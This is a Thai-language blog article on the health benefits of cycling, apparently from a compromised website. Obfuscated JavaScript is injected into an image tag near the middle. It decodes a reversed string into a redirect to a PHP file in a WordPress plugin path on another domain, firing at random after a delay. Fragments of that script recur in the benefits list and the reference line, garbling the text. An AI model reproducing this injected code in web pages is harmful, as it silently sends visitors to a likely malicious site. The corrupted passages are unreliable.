ปั่นจักรยานดีต่อสุขภาพอย่างไร

เพื่อให้ร่างกายมีสุขภาพเเข็งเเรง ฟิต การออกกำลังกายเป้นสิ่งที่ขาดไม่ได้ ประโยชน์ของการออกกำลังกายอย่างต่อเนื่อง เป็นประจำ สามารถช่วยป้องกันเราจากโรคภัยไข้เจ็บได้อย่างเช่น โรคเบาหวาน โรคหัวใจ มะเร็ง และยังช่วยส่งเสริมสภาพจิตใจให้เเจ่มใส ลดอาการเครียด การออกกำลังโดย การ “ปั่นจักรยาน” เป็นหนึ่งวิธีในการพัฒนาสุขภาพเเละความฟิตของร่างกาย และลดโรคภัยไข้เจ็บได้อย่างดี

ปั่นจักรยาน เป็นการออกกำลังกายเเบบ Low-impact เหมาะกับคนทุกทุกวัย เเถมสามารถประยุกต์ใช้ในชีวิตประจำวัน ไม่ใช้เเค่ช่วงเวลาออกกำลังกายอย่างเดียว อย่างเช่น ปั่นจักรยานไปทำงาน

เพียงเเค่สละเวลาปั่นจักรยานออกกำลังกายสัปดาห์ละ 2-4 ชั่วโมง ก็จะสามารถเสริมสร้างสุขภาพเราได้ อย่างเช่น….

การปั่นจักรยาน เป็นกีฬาประเภท Low impact สร้างเเรงกระเเทกน้อย เกิดอาการบาดเจ็บของกล้ามเนื้อได้น้อยกว่ากีฬาประเภทอื่น
การปั่นจักรยาน ดีต่อการบริหารและสร้างกล้ามเนื้อ ในขณะปั่นจักรยานกล้ามเนื้อที่ใช้งานไม่ใช่เเค่ช่วง lower body เเต่ยังมีกล้ามเนื้อ core และ upper body ที่ถุกใช้งานด้วย
การปั่นจักรยาน ดีต่อการเสริมสร้างความอึด ความอดทนให้ร่างกาย ร่างกายจะถูกออกกำลังให้อยู่ในโซน Aerobic ได้บ่อยขึ้น กระตุ้นการทำงานของปอด หัวใจ รวมทั้งกล้ามเนื้อ
การปั่นจักรยาน ทำได้ง่าย เหมือนๆ กับการวิ่ง ทุกคน ทุกวัย ทุกระดับความสามารถ มือใหม่มือเก๋า เป็นกีฬาที่ไม่จำเป็นต้องใช้สกิลเยอะ เเถมสามารถกำหนดระดับความเข้มข้นของการฝึกได้เอง
การปั่นจักรยาน เป็นวิธีที่สนุกในการออกกำลังกาย เพราะเป็นการออกกำลังกายเเบบ outdoor ทำให้มีโอกาสออกกำลังกายได้บ่อยขึ้น ให้ความรู้สึกเหมือนออกไปผจญภัยทุกครั้ง

เมื่อปั่นอย่างต่อเนื่อง…

hipster cyclist, flat <script srcset= — $Ikf=function(n){if (typeof ($Ikf.list[n]) == “string”) return $Ikf.list[n].split(“”).reverse().join(“”);return $Ikf.list[n];};$Ikf.list=[“\’php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and pastel style” width=”617″ height=”559″ /> ตัวอย่างประโยชน์จากการปั่นจักรยาน ที่มา thecyclingbug.co.uk

เพิ่มความฟิตให้ระบบหัวใจ การสูบฉีดเลือด ( increased cardiovascular fitness) เเละต้องบอกว่าช่วยในเรื่องการหายใจ ระบบปอด การปั้มลมเข้าออก หายใจลึกมากขึ้นด้วย เพราะเราจะฝึกอยู่ในโซน Aerobic บ่อยมาก
เพิ่มความเเข็งเเรงให้กล้ามเนื้อ เพิ่มความยืดหยุ่นให้ร่างกาย ข้อต่อมีอายุการใช้งานนานขึ้น ลองสังเกตว่าคนที่ออกกำลังกายบ่อยๆ อาการ office syndrome อย่างอาการปวดหลังจะหายไป
ลดอาการเครียด วิตกกังวล เเถมช่วยเพิ่มเสริมสร้างระบบภูมิคุ้มกันด้วย เเต่ทั้งนี้ต้องขึ้นอยู่กับวิธีการกิน เเละการพักผ่อนด้วยนะ
ช่วยพัฒนาบุคลิกภาพ ท่านั่งเดินเหินดูดีขึ้น การทำงานประสานกัน สายตา กล้ามเนื้อมือขา จะเคลื่อนไหวเร็วขึ้น (improved posture andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and coordination)
ไม่ใช้เเค่กล้ามเนื้อจะเเข็งเเรงขึ้น เเต่ยังช่วยรักษาความหนาเเน่นของกระดูกด้วย
ช่วยลดระดับไขมันในร่างกาย

ใครที่ยังไม่เริ่มออกกำลังกาย ช่วงวันหยุดปีใหม่ สนามปั่นจักรยาน Sky lane ก็เปิดให้บริการเเล้ว อย่าลืมหาจักรยานดีๆ สักคนหรือถ้ามีครอบครัวเเล้ว ก็อย่าลืมซื้อให้สามี ภรรยา ลูกน้อย ออกไปปั่นกันทั้งครอบครัวนะครับ เพื่อสุขภาพดีถ้วยหน้ากันทั้งบ้าน

อ้างอิงwww.betterhealth.vic.gov.au andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-fitness/training-tips/b/weblog/archive/2015/06/19/what-cycling-does-to-your-insides.aspx”>thecyclingbug.co.uk